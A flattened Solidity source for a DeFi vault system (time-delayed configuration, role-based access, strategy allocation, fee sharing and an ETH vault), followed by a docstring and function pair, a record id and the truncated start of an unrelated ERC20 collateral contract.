getSwapperRegistry(IAddressProvider provider) internal view returns (address) { return provider.getAddress(AddressProviderKeys._SWAPPER_REGISTRY_KEY); } /** * @return The oracleProvider. */ function getOracleProvider(IAddressProvider provider) internal view returns (IOracleProvider) { return IOracleProvider(provider.getAddress(AddressProviderKeys._ORACLE_PROVIDER_KEY)); } /** * @return the address of the BKD locker */ function getBKDLocker(IAddressProvider provider) internal view returns (address) { return provider.getAddress(AddressProviderKeys._BKD_LOCKER_KEY); } /** * @return the address of the BKD locker */ function getRoleManager(IAddressProvider provider) internal view returns (IRoleManager) { return IRoleManager(provider.getAddress(AddressProviderKeys._ROLE_MANAGER_KEY)); } /** * @return the controller */ function getController(IAddressProvider provider) internal view returns (IController) { return IController(provider.getAddress(AddressProviderKeys._CONTROLLER_KEY)); } } // File contracts/vault/VaultStorage.sol pragma solidity 0.8.9; contract VaultStorage { uint256 public currentAllocated; uint256 public waitingForRemovalAllocated; address public pool; uint256 public totalDebt; bool public strategyActive; EnumerableMapping.AddressToUintMap internal _strategiesWaitingForRemoval; } contract VaultStorageV1 is VaultStorage { /** * @dev This is to avoid breaking contracts inheriting from `VaultStorage` * such as `Erc20Vault`, especially if they have storage variables * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps * for more details * * A new field can be added using a new contract such as * * ```solidity * contract VaultStorageV2 is VaultStorage { * uint256 someNewField; * uint256[49] private __gap; * } */ uint256[50] private __gap; } // File contracts/utils/Preparable.sol pragma solidity 0.8.9; /** * @notice Implements the base logic for a two-phase commit * @dev This does not implements any access-control so publicly exposed * callers should make sure to have the proper checks in palce */ contract Preparable is IPreparable { uint256 private constant _MIN_DELAY = 3 days; mapping(bytes32 => address) public pendingAddresses; mapping(bytes32 => uint256) public pendingUInts256; mapping(bytes32 => address) public currentAddresses; mapping(bytes32 => uint256) public currentUInts256; /** * @dev Deadlines shares the same namespace regardless of the type * of the pending variable so this needs to be enforced in the caller */ mapping(bytes32 => uint256) public deadlines; function _prepareDeadline(bytes32 key, uint256 delay) internal { require(deadlines[key] == 0, Error.DEADLINE_NOT_ZERO); require(delay >= _MIN_DELAY, Error.DELAY_TOO_SHORT); deadlines[key] = block.timestamp + delay; } /** * @notice Prepares an uint256 that should be commited to the contract * after `_MIN_DELAY` elapsed * @param value The value to prepare * @return `true` if success. */ function _prepare( bytes32 key, uint256 value, uint256 delay ) internal returns (bool) { _prepareDeadline(key, delay); pendingUInts256[key] = value; emit ConfigPreparedNumber(key, value, delay); return true; } /** * @notice Same as `_prepare(bytes32,uint256,uint256)` but uses a default delay */ function _prepare(bytes32 key, uint256 value) internal returns (bool) { return _prepare(key, value, _MIN_DELAY); } /** * @notice Prepares an address that should be commited to the contract * after `_MIN_DELAY` elapsed * @param value The value to prepare * @return `true` if success. */ function _prepare( bytes32 key, address value, uint256 delay ) internal returns (bool) { _prepareDeadline(key, delay); pendingAddresses[key] = value; emit ConfigPreparedAddress(key, value, delay); return true; } /** * @notice Same as `_prepare(bytes32,address,uint256)` but uses a default delay */ function _prepare(bytes32 key, address value) internal returns (bool) { return _prepare(key, value, _MIN_DELAY); } /** * @notice Reset a uint256 key * @return `true` if success. */ function _resetUInt256Config(bytes32 key) internal returns (bool) { require(deadlines[key] != 0, Error.DEADLINE_NOT_ZERO); deadlines[key] = 0; pendingUInts256[key] = 0; emit ConfigReset(key); return true; } /** * @notice Reset an address key * @return `true` if success. */ function _resetAddressConfig(bytes32 key) internal returns (bool) { require(deadlines[key] != 0, Error.DEADLINE_NOT_ZERO); deadlines[key] = 0; pendingAddresses[key] = address(0); emit ConfigReset(key); return true; } /** * @dev Checks the deadline of the key and reset it */ function _executeDeadline(bytes32 key) internal { uint256 deadline = deadlines[key]; require(block.timestamp >= deadline, Error.DEADLINE_NOT_REACHED); require(deadline != 0, Error.DEADLINE_NOT_SET); deadlines[key] = 0; } /** * @notice Execute uint256 config update (with time delay enforced). * @dev Needs to be called after the update was prepared. Fails if called before time delay is met. * @return New value. */ function _executeUInt256(bytes32 key) internal returns (uint256) { _executeDeadline(key); uint256 newValue = pendingUInts256[key]; _setConfig(key, newValue); return newValue; } /** * @notice Execute address config update (with time delay enforced). * @dev Needs to be called after the update was prepared. Fails if called before time delay is met. * @return New value. */ function _executeAddress(bytes32 key) internal returns (address) { _executeDeadline(key); address newValue = pendingAddresses[key]; _setConfig(key, newValue); return newValue; } function _setConfig(bytes32 key, address value) internal returns (address) { address oldValue = currentAddresses[key]; currentAddresses[key] = value; pendingAddresses[key] = address(0); deadlines[key] = 0; emit ConfigUpdatedAddress(key, oldValue, value); return value; } function _setConfig(bytes32 key, uint256 value) internal returns (uint256) { uint256 oldValue = currentUInts256[key]; currentUInts256[key] = value; pendingUInts256[key] = 0; deadlines[key] = 0; emit ConfigUpdatedNumber(key, oldValue, value); return value; } } // File contracts/utils/IPausable.sol pragma solidity 0.8.9; interface IPausable { function pause() external returns (bool); function unpause() external returns (bool); function isPaused() external view returns (bool); function isAuthorizedToPause(address account) external view returns (bool); } // File libraries/Roles.sol pragma solidity 0.8.9; // solhint-disable private-vars-leading-underscore library Roles { bytes32 internal constant GOVERNANCE = "governance"; bytes32 internal constant ADDRESS_PROVIDER = "address_provider"; bytes32 internal constant POOL_FACTORY = "pool_factory"; bytes32 internal constant CONTROLLER = "controller"; bytes32 internal constant GAUGE_ZAP = "gauge_zap"; bytes32 internal constant MAINTENANCE = "maintenance"; bytes32 internal constant INFLATION_MANAGER = "inflation_manager"; bytes32 internal constant POOL = "pool"; bytes32 internal constant VAULT = "vault"; } // File contracts/access/AuthorizationBase.sol pragma solidity 0.8.9; /** * @notice Provides modifiers for authorization */ abstract contract AuthorizationBase { /** * @notice Only allows a sender with `role` to perform the given action */ modifier onlyRole(bytes32 role) { require(_roleManager().hasRole(role, msg.sender), Error.UNAUTHORIZED_ACCESS); _; } /** * @notice Only allows a sender with GOVERNANCE role to perform the given action */ modifier onlyGovernance() { require(_roleManager().hasRole(Roles.GOVERNANCE, msg.sender), Error.UNAUTHORIZED_ACCESS); _; } /** * @notice Only allows a sender with any of `roles` to perform the given action */ modifier onlyRoles2(bytes32 role1, bytes32 role2) { require(_roleManager().hasAnyRole(role1, role2, msg.sender), Error.UNAUTHORIZED_ACCESS); _; } /** * @notice Only allows a sender with any of `roles` to perform the given action */ modifier onlyRoles3( bytes32 role1, bytes32 role2, bytes32 role3 ) { require( _roleManager().hasAnyRole(role1, role2, role3, msg.sender), Error.UNAUTHORIZED_ACCESS ); _; } function roleManager() external view virtual returns (IRoleManager) { return _roleManager(); } function _roleManager() internal view virtual returns (IRoleManager); } // File contracts/access/Authorization.sol pragma solidity 0.8.9; contract Authorization is AuthorizationBase { IRoleManager internal immutable __roleManager; constructor(IRoleManager roleManager) { __roleManager = roleManager; } function _roleManager() internal view override returns (IRoleManager) { return __roleManager; } } // File contracts/vault/Vault.sol pragma solidity 0.8.9; abstract contract Vault is IVault, Authorization, VaultStorageV1, Preparable, Initializable { using ScaledMath for uint256; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; using EnumerableExtensions for EnumerableSet.AddressSet; using EnumerableMapping for EnumerableMapping.AddressToUintMap; using EnumerableExtensions for EnumerableMapping.AddressToUintMap; using AddressProviderHelpers for IAddressProvider; bytes32 internal constant _STRATEGY_KEY = "Strategy"; bytes32 internal constant _PERFORMANCE_FEE_KEY = "PerformanceFee"; bytes32 internal constant _STRATEGIST_FEE_KEY = "StrategistFee"; bytes32 internal constant _DEBT_LIMIT_KEY = "DebtLimit"; bytes32 internal constant _TARGET_ALLOCATION_KEY = "TargetAllocation"; bytes32 internal constant _RESERVE_FEE_KEY = "ReserveFee"; bytes32 internal constant _BOUND_KEY = "Bound"; uint256 internal constant _INITIAL_RESERVE_FEE = 0.01e18; uint256 internal constant _INITIAL_STRATEGIST_FEE = 0.1e18; uint256 internal constant _INITIAL_PERFORMANCE_FEE = 0; uint256 public constant MAX_PERFORMANCE_FEE = 0.5e18; uint256 public constant MAX_DEVIATION_BOUND = 0.5e18; uint256 public constant STRATEGY_DELAY = 5 days; IController public immutable controller; IAddressProvider public immutable addressProvider; IVaultReserve public immutable reserve; modifier onlyPool() { require(msg.sender == pool, Error.UNAUTHORIZED_ACCESS); _; } modifier onlyPoolOrGovernance() { require( msg.sender == pool || _roleManager().hasRole(Roles.GOVERNANCE, msg.sender), Error.UNAUTHORIZED_ACCESS ); _; } modifier onlyPoolOrMaintenance() { require( msg.sender == pool || _roleManager().hasRole(Roles.MAINTENANCE, msg.sender), Error.UNAUTHORIZED_ACCESS ); _; } constructor(IController _controller) Authorization(_controller.addressProvider().getRoleManager()) { controller = _controller; IAddressProvider addressProvider_ = _controller.addressProvider(); addressProvider = addressProvider_; reserve = IVaultReserve(addressProvider_.getVaultReserve()); } function _initialize( address _pool, uint256 _debtLimit, uint256 _targetAllocation, uint256 _bound ) internal { require(_debtLimit <= ScaledMath.ONE, Error.INVALID_AMOUNT); require(_targetAllocation <= ScaledMath.ONE, Error.INVALID_AMOUNT); require(_bound <= MAX_DEVIATION_BOUND, Error.INVALID_AMOUNT); pool = _pool; _setConfig(_DEBT_LIMIT_KEY, _debtLimit); _setConfig(_TARGET_ALLOCATION_KEY, _targetAllocation); _setConfig(_BOUND_KEY, _bound); _setConfig(_RESERVE_FEE_KEY, _INITIAL_RESERVE_FEE); _setConfig(_STRATEGIST_FEE_KEY, _INITIAL_STRATEGIST_FEE); _setConfig(_PERFORMANCE_FEE_KEY, _INITIAL_PERFORMANCE_FEE); } /** * @notice Handles deposits from the liquidity pool */ function deposit() external payable override onlyPoolOrMaintenance { // solhint-disable-previous-line ordering _deposit(); } /** * @notice Withdraws specified amount of underlying from vault. * @dev If the specified amount exceeds idle funds, an amount of funds is withdrawn * from the strategy such that it will achieve a target allocation for after the * amount has been withdrawn. * @param amount Amount to withdraw. * @return `true` if successful. */ function withdraw(uint256 amount) external override onlyPoolOrGovernance returns (bool) { IStrategy strategy = getStrategy(); uint256 availableUnderlying_ = _availableUnderlying(); if (availableUnderlying_ < amount) { if (address(strategy) == address(0)) return false; uint256 allocated = strategy.balance(); uint256 requiredWithdrawal = amount - availableUnderlying_; if (requiredWithdrawal > allocated) return false; // compute withdrawal amount to sustain target allocation uint256 newTarget = (allocated - requiredWithdrawal).scaledMul(getTargetAllocation()); uint256 excessAmount = allocated - newTarget; strategy.withdraw(excessAmount); currentAllocated = _computeNewAllocated(currentAllocated, excessAmount); } else { uint256 allocatedUnderlying = 0; if (address(strategy) != address(0)) allocatedUnderlying = IStrategy(strategy).balance(); uint256 totalUnderlying = availableUnderlying_ + allocatedUnderlying + waitingForRemovalAllocated; uint256 totalUnderlyingAfterWithdraw = totalUnderlying - amount; _rebalance(totalUnderlyingAfterWithdraw, allocatedUnderlying); } _transfer(pool, amount); return true; } /** * @notice Withdraws all funds from vault and strategy and transfer them to the pool. */ function withdrawAll() external override onlyPoolOrGovernance { _withdrawAllFromStrategy(); _transfer(pool, _availableUnderlying()); } /** * @notice Withdraws specified amount of underlying from reserve to vault. * @dev Withdraws from reserve will cause a spike in pool exchange rate. * Pool deposits should be paused during this to prevent front running * @param amount Amount to withdraw. */ function withdrawFromReserve(uint256 amount) external override onlyGovernance { require(amount > 0, Error.INVALID_AMOUNT); require(IPausable(pool).isPaused(), Error.POOL_NOT_PAUSED); uint256 reserveBalance_ = reserve.getBalance(address(this), getUnderlying()); require(amount <= reserveBalance_, Error.INSUFFICIENT_BALANCE); reserve.withdraw(getUnderlying(), amount); } /** * @notice Activate the current strategy set for the vault. * @return `true` if strategy has been activated */ function activateStrategy() external onlyGovernance returns (bool) { return _activateStrategy(); } /** * @notice Deactivates a strategy. * @return `true` if strategy has been deactivated */ function deactivateStrategy() external onlyGovernance returns (bool) { return _deactivateStrategy(); } /** * @notice Initializes the vault's strategy. * @dev Bypasses the time delay, but can only be called if strategy is not set already. * @param strategy_ Address of the strategy. * @return `true` if successful. */ function initializeStrategy(address strategy_) external override onlyGovernance returns (bool) { require(currentAddresses[_STRATEGY_KEY] == address(0), Error.ADDRESS_ALREADY_SET); require(strategy_ != address(0), Error.ZERO_ADDRESS_NOT_ALLOWED); _setConfig(_STRATEGY_KEY, strategy_); _activateStrategy(); require(IStrategy(strategy_).strategist() != address(0), Error.ZERO_ADDRESS_NOT_ALLOWED); return true; } /** * @notice Prepare update of the vault's strategy (with time delay enforced). * @param newStrategy Address of the new strategy. * @return `true` if successful. */ function prepareNewStrategy(address newStrategy) external onlyGovernance returns (bool) { return _prepare(_STRATEGY_KEY, newStrategy, STRATEGY_DELAY); } /** * @notice Execute strategy update (with time delay enforced). * @dev Needs to be called after the update was prepraed. Fails if called before time delay is met. * @return New strategy address. */ function executeNewStrategy() external returns (address) { _executeDeadline(_STRATEGY_KEY); IStrategy strategy = getStrategy(); if (address(strategy) != address(0)) { _harvest(); strategy.shutdown(); strategy.withdrawAll(); // there might still be some balance left if the strategy did not // manage to withdraw all funds (e.g. due to locking) uint256 remainingStrategyBalance = strategy.balance(); if (remainingStrategyBalance > 0) { _strategiesWaitingForRemoval.set(address(strategy), remainingStrategyBalance); waitingForRemovalAllocated += remainingStrategyBalance; } } _deactivateStrategy(); currentAllocated = 0; totalDebt = 0; address newStrategy = pendingAddresses[_STRATEGY_KEY]; _setConfig(_STRATEGY_KEY, newStrategy); if (newStrategy != address(0)) { _activateStrategy(); } return newStrategy; } function resetNewStrategy() external onlyGovernance returns (bool) { return _resetAddressConfig(_STRATEGY_KEY); } /** * @notice Prepare update of performance fee (with time delay enforced). * @param newPerformanceFee New performance fee value. * @return `true` if successful. */ function preparePerformanceFee(uint256 newPerformanceFee) external onlyGovernance returns (bool) { require(newPerformanceFee <= MAX_PERFORMANCE_FEE, Error.INVALID_AMOUNT); return _prepare(_PERFORMANCE_FEE_KEY, newPerformanceFee); } /** * @notice Execute update of performance fee (with time delay enforced). * @dev Needs to be called after the update was prepraed. Fails if called before time delay is met. * @return New performance fee. */ function executePerformanceFee() external returns (uint256) { return _executeUInt256(_PERFORMANCE_FEE_KEY); } function resetPerformanceFee() external onlyGovernance returns (bool) { return _resetUInt256Config(_PERFORMANCE_FEE_KEY); } /** * @notice Prepare update of strategist fee (with time delay enforced). * @param newStrategistFee New strategist fee value. * @return `true` if successful. */ function prepareStrategistFee(uint256 newStrategistFee) external onlyGovernance returns (bool) { _checkFeesInvariant(getReserveFee(), newStrategistFee); return _prepare(_STRATEGIST_FEE_KEY, newStrategistFee); } /** * @notice Execute update of strategist fee (with time delay enforced). * @dev Needs to be called after the update was prepraed. Fails if called before time delay is met. * @return New strategist fee. */ function executeStrategistFee() external returns (uint256) { uint256 newStrategistFee = _executeUInt256(_STRATEGIST_FEE_KEY); _checkFeesInvariant(getReserveFee(), newStrategistFee); return newStrategistFee; } function resetStrategistFee() external onlyGovernance returns (bool) { return _resetUInt256Config(_STRATEGIST_FEE_KEY); } /** * @notice Prepare update of debt limit (with time delay enforced). * @param newDebtLimit New debt limit. * @return `true` if successful. */ function prepareDebtLimit(uint256 newDebtLimit) external onlyGovernance returns (bool) { return _prepare(_DEBT_LIMIT_KEY, newDebtLimit); } /** * @notice Execute update of debt limit (with time delay enforced). * @dev Needs to be called after the update was prepraed. Fails if called before time delay is met. * @return New debt limit. */ function executeDebtLimit() external returns (uint256) { uint256 debtLimit = _executeUInt256(_DEBT_LIMIT_KEY); uint256 debtLimitAllocated = currentAllocated.scaledMul(debtLimit); if (totalDebt >= debtLimitAllocated) { _handleExcessDebt(); } return debtLimit; } function resetDebtLimit() external onlyGovernance returns (bool) { return _resetUInt256Config(_DEBT_LIMIT_KEY); } /** * @notice Prepare update of target allocation (with time delay enforced). * @param newTargetAllocation New target allocation. * @return `true` if successful. */ function prepareTargetAllocation(uint256 newTargetAllocation) external onlyGovernance returns (bool) { return _prepare(_TARGET_ALLOCATION_KEY, newTargetAllocation); } /** * @notice Execute update of target allocation (with time delay enforced). * @dev Needs to be called after the update was prepraed. Fails if called before time delay is met. * @return New target allocation. */ function executeTargetAllocation() external returns (uint256) { uint256 targetAllocation = _executeUInt256(_TARGET_ALLOCATION_KEY); _deposit(); return targetAllocation; } function resetTargetAllocation() external onlyGovernance returns (bool) { return _resetUInt256Config(_TARGET_ALLOCATION_KEY); } /** * @notice Prepare update of reserve fee (with time delay enforced). * @param newReserveFee New reserve fee. * @return `true` if successful. */ function prepareReserveFee(uint256 newReserveFee) external onlyGovernance returns (bool) { _checkFeesInvariant(newReserveFee, getStrategistFee()); return _prepare(_RESERVE_FEE_KEY, newReserveFee); } /** * @notice Execute update of reserve fee (with time delay enforced). * @dev Needs to be called after the update was prepraed. Fails if called before time delay is met. * @return New reserve fee. */ function executeReserveFee() external returns (uint256) { uint256 newReserveFee = _executeUInt256(_RESERVE_FEE_KEY); _checkFeesInvariant(newReserveFee, getStrategistFee()); return newReserveFee; } function resetReserveFee() external onlyGovernance returns (bool) { return _resetUInt256Config(_RESERVE_FEE_KEY); } /** * @notice Prepare update of deviation bound for strategy allocation (with time delay enforced). * @param newBound New deviation bound for target allocation. * @return `true` if successful. */ function prepareBound(uint256 newBound) external onlyGovernance returns (bool) { require(newBound <= MAX_DEVIATION_BOUND, Error.INVALID_AMOUNT); return _prepare(_BOUND_KEY, newBound); } /** * @notice Execute update of deviation bound for strategy allocation (with time delay enforced). * @dev Needs to be called after the update was prepraed. Fails if called before time delay is met. * @return New deviation bound. */ function executeBound() external returns (uint256) { uint256 bound = _executeUInt256(_BOUND_KEY); _deposit(); return bound; } function resetBound() external onlyGovernance returns (bool) { return _resetUInt256Config(_BOUND_KEY); } /** * @notice Withdraws an amount of underlying from the strategy to the vault. * @param amount Amount of underlying to withdraw. * @return True if successful withdrawal. */ function withdrawFromStrategy(uint256 amount) external onlyGovernance returns (bool) { IStrategy strategy = getStrategy(); if (address(strategy) == address(0)) return false; if (strategy.balance() < amount) return false; uint256 oldBalance = _availableUnderlying(); strategy.withdraw(amount); uint256 newBalance = _availableUnderlying(); currentAllocated -= newBalance - oldBalance; return true; } function withdrawFromStrategyWaitingForRemoval(address strategy) external returns (uint256) { (bool exists, uint256 allocated) = _strategiesWaitingForRemoval.tryGet(strategy); require(exists, Error.STRATEGY_DOES_NOT_EXIST); IStrategy strategy_ = IStrategy(strategy); strategy_.harvest(); uint256 withdrawn = strategy_.withdrawAll(); uint256 _waitingForRemovalAllocated = waitingForRemovalAllocated; if (withdrawn >= _waitingForRemovalAllocated) { waitingForRemovalAllocated = 0; } else { waitingForRemovalAllocated = _waitingForRemovalAllocated - withdrawn; } if (withdrawn > allocated) { uint256 profit = withdrawn - allocated; uint256 strategistShare = _shareFees(profit.scaledMul(getPerformanceFee())); if (strategistShare > 0) { _payStrategist(strategistShare, strategy_.strategist()); } allocated = 0; emit Harvest(profit, 0); } else { allocated -= withdrawn; } if (strategy_.balance() == 0) { _strategiesWaitingForRemoval.remove(address(strategy_)); } else { _strategiesWaitingForRemoval.set(address(strategy_), allocated); } return withdrawn; } function getStrategiesWaitingForRemoval() external view returns (address[] memory) { return _strategiesWaitingForRemoval.keysArray(); } /** * @notice Computes the total underlying of the vault: idle funds + allocated funds - debt * @return Total amount of underlying. */ function getTotalUnderlying() external view override returns (uint256) { uint256 availableUnderlying_ = _availableUnderlying(); if (address(getStrategy()) == address(0)) { return availableUnderlying_; } uint256 netUnderlying = availableUnderlying_ + currentAllocated + waitingForRemovalAllocated; if (totalDebt <= netUnderlying) return netUnderlying - totalDebt; return 0; } function getAllocatedToStrategyWaitingForRemoval(address strategy) external view returns (uint256) { return _strategiesWaitingForRemoval.get(strategy); } /** * @notice Withdraws all funds from strategy to vault. * @dev Harvests profits before withdrawing. Deactivates strategy after withdrawing. * @return `true` if successful. */ function withdrawAllFromStrategy() public onlyPoolOrGovernance returns (bool) { return _withdrawAllFromStrategy(); } /** * @notice Harvest profits from the vault's strategy. * @dev Harvesting adds profits to the vault's balance and deducts fees. * No performance fees are charged on profit used to repay debt. * @return `true` if successful. */ function harvest() public onlyPoolOrMaintenance returns (bool) { return _harvest(); } /** * @notice Returns the percentage of the performance fee that goes to the strategist. */ function getStrategistFee() public view returns (uint256) { return currentUInts256[_STRATEGIST_FEE_KEY]; } function getStrategy() public view override returns (IStrategy) { return IStrategy(currentAddresses[_STRATEGY_KEY]); } /** * @notice Returns the percentage of the performance fee which is allocated to the vault reserve */ function getReserveFee() public view returns (uint256) { return currentUInts256[_RESERVE_FEE_KEY]; } /** * @notice Returns the fee charged on a strategy's generated profits. * @dev The strategist is paid in LP tokens, while the remainder of the profit stays in the vault. * Default performance fee is set to 5% of harvested profits. */ function getPerformanceFee() public view returns (uint256) { return currentUInts256[_PERFORMANCE_FEE_KEY]; } /** * @notice Returns the allowed symmetric bound for target allocation (e.g. +- 5%) */ function getBound() public view returns (uint256) { return currentUInts256[_BOUND_KEY]; } /** * @notice The target percentage of total underlying funds to be allocated towards a strategy. * @dev this is to reduce gas costs. Withdrawals first come from idle funds and can therefore * avoid unnecessary gas costs. */ function getTargetAllocation() public view returns (uint256) { return currentUInts256[_TARGET_ALLOCATION_KEY]; } /** * @notice The debt limit that the total debt of a strategy may not exceed. */ function getDebtLimit() public view returns (uint256) { return currentUInts256[_DEBT_LIMIT_KEY]; } function getUnderlying() public view virtual override returns (address); function _activateStrategy() internal returns (bool) { IStrategy strategy = getStrategy(); if (address(strategy) == address(0)) return false; strategyActive = true; emit StrategyActivated(address(strategy)); _deposit(); return true; } function _harvest() internal returns (bool) { IStrategy strategy = getStrategy(); if (address(strategy) == address(0)) { return false; } strategy.harvest(); uint256 strategistShare = 0; uint256 allocatedUnderlying = strategy.balance(); uint256 amountAllocated = currentAllocated; uint256 currentDebt = totalDebt; if (allocatedUnderlying > amountAllocated) { // we made profits uint256 profit = allocatedUnderlying - amountAllocated; if (profit > currentDebt) { if (currentDebt > 0) { profit -= currentDebt; currentDebt = 0; } (profit, strategistShare) = _shareProfit(profit); } else { currentDebt -= profit; } emit Harvest(profit, 0); } else if (allocatedUnderlying < amountAllocated) { // we made a loss uint256 loss = amountAllocated - allocatedUnderlying; currentDebt += loss; // check debt limit and withdraw funds if exceeded uint256 debtLimit = getDebtLimit(); uint256 debtLimitAllocated = amountAllocated.scaledMul(debtLimit); if (currentDebt > debtLimitAllocated) { currentDebt = _handleExcessDebt(currentDebt); } emit Harvest(0, loss); } else { // nothing to declare return true; } totalDebt = currentDebt; currentAllocated = strategy.balance(); if (strategistShare > 0) { _payStrategist(strategistShare); } return true; } function _withdrawAllFromStrategy() internal returns (bool) { IStrategy strategy = getStrategy(); if (address(strategy) == address(0)) return false; _harvest(); uint256 oldBalance = _availableUnderlying(); strategy.withdrawAll(); uint256 newBalance = _availableUnderlying(); uint256 withdrawnAmount = newBalance - oldBalance; currentAllocated = _computeNewAllocated(currentAllocated, withdrawnAmount); _deactivateStrategy(); return true; } function _handleExcessDebt(uint256 currentDebt) internal returns (uint256) { uint256 underlyingReserves = reserve.getBalance(address(this), getUnderlying()); if (currentDebt > underlyingReserves) { _emergencyStop(underlyingReserves); } else if (reserve.canWithdraw(address(this))) { reserve.withdraw(getUnderlying(), currentDebt); currentDebt = 0; _deposit(); } return currentDebt; } function _handleExcessDebt() internal { uint256 currentDebt = totalDebt; uint256 newDebt = _handleExcessDebt(totalDebt); if (currentDebt != newDebt) { totalDebt = newDebt; } } /** * @notice Invest the underlying money in the vault after a deposit from the pool is made. * @dev After each deposit, the vault checks whether it needs to rebalance underlying funds allocated to strategy. * If no strategy is set then all deposited funds will be idle. */ function _deposit() internal { if (!strategyActive) return; uint256 allocatedUnderlying = getStrategy().balance(); uint256 totalUnderlying = _availableUnderlying() + allocatedUnderlying + waitingForRemovalAllocated; if (totalUnderlying == 0) return; _rebalance(totalUnderlying, allocatedUnderlying); } function _shareProfit(uint256 profit) internal returns (uint256, uint256) { uint256 totalFeeAmount = profit.scaledMul(getPerformanceFee()); if (_availableUnderlying() < totalFeeAmount) { getStrategy().withdraw(totalFeeAmount); } uint256 strategistShare = _shareFees(totalFeeAmount); return ((profit - totalFeeAmount), strategistShare); } function _shareFees(uint256 totalFeeAmount) internal returns (uint256) { uint256 strategistShare = totalFeeAmount.scaledMul(getStrategistFee()); uint256 reserveShare = totalFeeAmount.scaledMul(getReserveFee()); uint256 treasuryShare = totalFeeAmount - strategistShare - reserveShare; _depositToReserve(reserveShare); if (treasuryShare > 0) { _depositToTreasury(treasuryShare); } return strategistShare; } function _emergencyStop(uint256 underlyingReserves) internal { // debt limit exceeded: withdraw funds from strategy uint256 withdrawn = getStrategy().withdrawAll(); uint256 actualDebt = _computeNewAllocated(currentAllocated, withdrawn); if (reserve.canWithdraw(address(this))) { // check if debt can be covered with reserve funds if (underlyingReserves >= actualDebt) { reserve.withdraw(getUnderlying(), actualDebt); } else if (underlyingReserves > 0) { // debt can not be covered with reserves reserve.withdraw(getUnderlying(), underlyingReserves); } } // too much money lost, stop the strategy _deactivateStrategy(); } /** * @notice Deactivates a strategy. All positions of the strategy are exited. * @return `true` if strategy has been deactivated */ function _deactivateStrategy() internal returns (bool) { if (!strategyActive) return false; strategyActive = false; emit StrategyDeactivated(address(getStrategy())); return true; } function _payStrategist(uint256 amount) internal { _payStrategist(amount, getStrategy().strategist()); } function _payStrategist(uint256 amount, address strategist) internal virtual; function _transfer(address to, uint256 amount) internal virtual; function _depositToReserve(uint256 amount) internal virtual; function _depositToTreasury(uint256 amount) internal virtual; function _availableUnderlying() internal view virtual returns (uint256); function _computeNewAllocated(uint256 allocated, uint256 withdrawn) internal pure returns (uint256) { if (allocated > withdrawn) { return allocated - withdrawn; } return 0; } function _checkFeesInvariant(uint256 reserveFee, uint256 strategistFee) internal pure { require( reserveFee + strategistFee <= ScaledMath.ONE, "sum of strategist fee and reserve fee should be below 1" ); } function _rebalance(uint256 totalUnderlying, uint256 allocatedUnderlying) private returns (bool) { if (!strategyActive) return false; uint256 targetAllocation = getTargetAllocation(); IStrategy strategy = getStrategy(); uint256 bound = getBound(); uint256 target = totalUnderlying.scaledMul(targetAllocation); uint256 upperBound = targetAllocation == 0 ? 0 : targetAllocation + bound; upperBound = upperBound > ScaledMath.ONE ? ScaledMath.ONE : upperBound; uint256 lowerBound = bound > targetAllocation ? 0 : targetAllocation - bound; if (allocatedUnderlying > totalUnderlying.scaledMul(upperBound)) { // withdraw funds from strategy uint256 withdrawAmount = allocatedUnderlying - target; strategy.withdraw(withdrawAmount); currentAllocated = _computeNewAllocated(currentAllocated, withdrawAmount); } else if (allocatedUnderlying < totalUnderlying.scaledMul(lowerBound)) { // allocate more funds to strategy uint256 depositAmount = target - allocatedUnderlying; _transfer(address(strategy), depositAmount); currentAllocated += depositAmount; strategy.deposit(); } return true; } } // File contracts/vault/EthVault.sol pragma solidity 0.8.9; contract EthVault is Vault { using AddressProviderHelpers for IAddressProvider; address private constant _UNDERLYING = address(0); constructor(IController controller) Vault(controller) {} receive() external payable {} function initialize( address _pool, uint256 _debtLimit, uint256 _targetAllocation, uint256 _bound ) external virtual override initializer { _initialize(_pool, _debtLimit, _targetAllocation, _bound); } function getUnderlying() public pure override returns (address) { return _UNDERLYING; } function _transfer(address to, uint256 amount) internal override { payable(to).transfer(amount); } function _depositToReserve(uint256 amount) internal override { reserve.deposit{value: amount}(_UNDERLYING, amount); } function _depositToTreasury(uint256 amount) internal override { payable(addressProvider.getTreasury()).transfer(amount); } function _payStrategist(uint256 amount, address strategist) internal override { if (strategist == address(0)) return; ILiquidityPool(pool).depositFor{value: amount}(strategist, amount); } function _availableUnderlying() internal view override returns (uint256) { return address(this).balance; } }
Prepare update of strategist fee (with time delay enforced). newStrategistFee New strategist fee value. return `true` if successful./
function prepareStrategistFee(uint256 newStrategistFee) external onlyGovernance returns (bool) { _checkFeesInvariant(getReserveFee(), newStrategistFee); return _prepare(_STRATEGIST_FEE_KEY, newStrategistFee); }
6,639,034
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts_latest/utils/math/SafeMath.sol"; import "@openzeppelin/contracts_latest/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts_latest/access/AccessControl.sol"; import "@openzeppelin/contracts_latest/token/ERC20/extensions/draft-ERC20Permit.sol"; import "@openzeppelin/contracts_latest/token/ERC20/extensions/ERC20Burnable.sol"; import "./uniswap/interfaces/IUniswapV2Router01.sol"; import "./aave/interfaces/IAaveIncentivesController.sol"; import "./aave/interfaces/ILendingPool.sol"; contract ERC20Collateral is ERC20, ERC20Burnable, ERC20Permit, AccessControl { using SafeMath for uint256; using SafeERC20 for IERC20; // Aave address public immutable aave_incentive_address; // Incentive Contract Address address public immutable aave_lending_pool_address; // Lending pool Contract // Local Router address public immutable uniswap_router_address; // WMatic ERC20 address address public immutable wmatic_address; // Underlying asset address (USDT) address public immutable collateral_address; address public immutable collateral_aave_address; // Markup uint8 public constant markup_decimals = 4; uint256 public markup = 5 * 10 ** markup_decimals; // 5% // Initialization can only be run once bool public initialized = false; // Events event Initialized(address owner, uint collateral, uint starting_ratio); event Minted(address to, uint collateralAmount, uint tokenAmount); event Withdrawal(address to, uint collateralAmount, uint tokenAmount); // Roles bytes32 public MARKUP_ROLE = keccak256("MARKUP_ROLE"); bytes32 public REWARDS_ROLE = keccak256("REWARDS_ROLE"); // Collateral without decimals constructor(string memory name_, string memory symbol_, address collateral_address_, address collateral_aave_address_, address aave_lending_pool_address_, address wmatic_address_, address uniswap_router_address_, address aave_incentive_address_) ERC20(name_, symbol_) ERC20Permit(name_) { // WMatic ERC20 address wmatic_address = wmatic_address_; // Collateral and AAVE Token address collateral_address = collateral_address_; //USDT collateral_aave_address=collateral_aave_address_; //amUSDT // Uniswap Router address (Local) 